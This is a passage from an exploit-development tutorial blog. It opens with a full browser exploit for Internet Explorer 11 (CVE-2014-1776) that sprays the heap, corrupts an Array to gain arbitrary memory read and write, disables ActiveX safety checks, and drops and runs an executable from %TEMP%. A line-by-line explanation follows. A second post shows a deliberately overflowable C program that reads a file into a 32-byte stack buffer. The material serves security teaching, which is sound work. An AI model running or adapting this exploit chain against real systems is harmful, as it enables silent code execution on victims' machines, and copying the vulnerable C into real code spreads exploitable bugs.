 
  function getPattern(offset_values, tot_bytes) {
    if (tot_bytes % 4 != 0)
      alert("getPattern(): tot_bytes is not a multiple of 4");
    var pieces = new Array();
    var pos = 0;
    for (i = 0; i < offset_values.length/2; ++i) {
      var offset = offset_values[i*2];
      var value = offset_values[i*2 + 1];
      var padding = new Array((offset - pos)/2 + 1).join("a");
      pieces.push(padding + dword2Str(value));
      pos = offset + 4;
    }
    // The "- 2" accounts for the null wchar at the end of the string.
    var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
    pieces.push(padding);
    return pieces.join("");
  }

  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }

  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);

      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1] = 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1] = -1;
    }
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
//    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    trigger();
    
    // Locate the modified Array.
    idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
//      alert("Can't find the modified Array");
      window.location.reload();
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;

    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }

    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }

    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Once again, I snipped runcalc. You can download the full code from here: code8.

This code works fine but IE may crash from time to time. This isn’t a major problem because when the user closes the crash dialog box the page is reloaded and the exploit is run again.

The new code has some subtleties so let’s discuss the important points. Let’s start with trigger():

function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }

The function getPattern takes an array of the form

[offset_1, value_1,
 offset_2, value_2,
 offset_3, value_3,
 ...]

and the size in bytes of the pattern. The pattern returned is a string of the specified size which value_1, value_2, etc… at the specified offsets.

I hope the comments are clear enough. For instance, let’s consider this line:

0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]

This means that

X = magic_addr + 0x20 - 0xc

which is defined in a way that X+0xc points to b[0], where b[0] is the first element of the Array at magic_addr (0xc000000 in our code).

To understand this better, let’s consider the full schema:

.
  .
  .
  elem.className = getPattern([
    0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
    0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
    0x198, -1                           // bit 12 set
  ], 0x428);
  .
  .
  .
  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);

      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1] = 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1] = -1;
    }

Let’s consider this part of the schema:

//   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======

As we’ve seen,

0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]

means that

X = [ptr+0A4h] = magic_addr + 0x20 - 0xc

so that X+0cx points to b[0].

Then we have

b[0] = magic_addr + 0x1b - 0x878;         // Y

which means that

Y = [X+0ch] = magic_addr + 0x1b - 0x878

The schema tells us that [Y+878h] must be the value to increment. Indeed, Y+0x878 is magic_addr + 0x1b which points to the highest byte of the length of the Array at magic_addr (0xc000000 in our code). Note that we increment the dword at magic_addr + 0x1b which has the effect of incrementing the byte at the same address.

The schema also dictates that [Y+208h] be 0. This is accomplished by the following lines:

idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
b[idx] = 0; b[idx+1] = 0;

Here there are two important points:

  1. Y = b[0] = magic_addr + 0x1b – 0x878 so it’s not a multiple of 4. Because of this, Y+208h isn’t a multiple of 4 either. To modify the misaligned dword [Y+208h], we need to modify the dwords [Y+206h] and [Y+20ah] which coincide with the elements b[idx] and b[idx+1]. That’s why we use Math.floor.
  2. The computed value b[0] + 0x208 – (magic_addr + 0x20) is negative. Because we’ve chosen Y so that Y+878h points to the header of the Array at magic_addr, Y+9b0h and Y+0a24h (see the schema) point to the same Array, but Y+208h points to the previous Array. Every Array will have the same content so, since adjacent Arrays are 0x10000 bytes apart, by writing the value into the memory at address Y+208h+10000h (i.e. in the current Array), we’ll also end up writing that value into the memory at address Y+208h.

To conclude our discussion, note that the function trigger is called only once. A single increment is more than enough because we just need to write a few bytes beyond the end of the Array at magic_addr.

Prev Part

The post IE11: Part 2 appeared first on Exploit Development Community.

More space on the stack

If you can’t get an exploit to work because you get a weird crash inside fread or some other access violation, the space on the stack might be insufficient for the payload. The easiest solution is to modify the code of the program from this:

#include <cstdio>

int main() {
    <contents of main>
}

to this:

#include <cstdio>

_declspec(noinline) int old_main() {
    <contents of main>
}

int main() {
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;

    return old_main();
}

For example, this:

#include <cstdio>

int main() {
    char name[32];
    printf("Reading name from file...\n");

    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);

    printf("Hi, %s!\n", name);
    return 0;
}

becomes:

#include <cstdio>

_declspec(noinline) int old_main() {
    char name[32];
    printf("Reading name from file...\n");

    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);

    printf("Hi, %s!\n", name);
    return 0;
}

int main() {
    char moreStack[10000];
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;

    return old_main();
}

The stack variable moreStack gives us more space on the stack. Remember that the stack grows towards low addresses whereas fread writes going towards high addresses. Without this additional space on the stack, fread might reach the end of the stack and crash the program.

As always, use your head. Sometimes, you want fread to reach the end of the stack and raise an exception so that your exception handler is called (SEH based exploit). The important thing is that there’s enough space on the stack for your payload. If you need more or less space, feel free to modify the size of moreStack.

The for loop in main is needed otherwise moreStack is optimized away. Also, if function f is inlined, the buffer name is allocated after moreStack (i.e. towards the end of the stack) which defeats the purpose. To avoid this, we need to use _declspec(noinline).

A picture should clarify things further:

Image may be NSFW.
Clik here to view.
pic_a10

The post More space on the stack appeared first on Exploit Development Community.

Viewing all 11 articles
Browse latest View live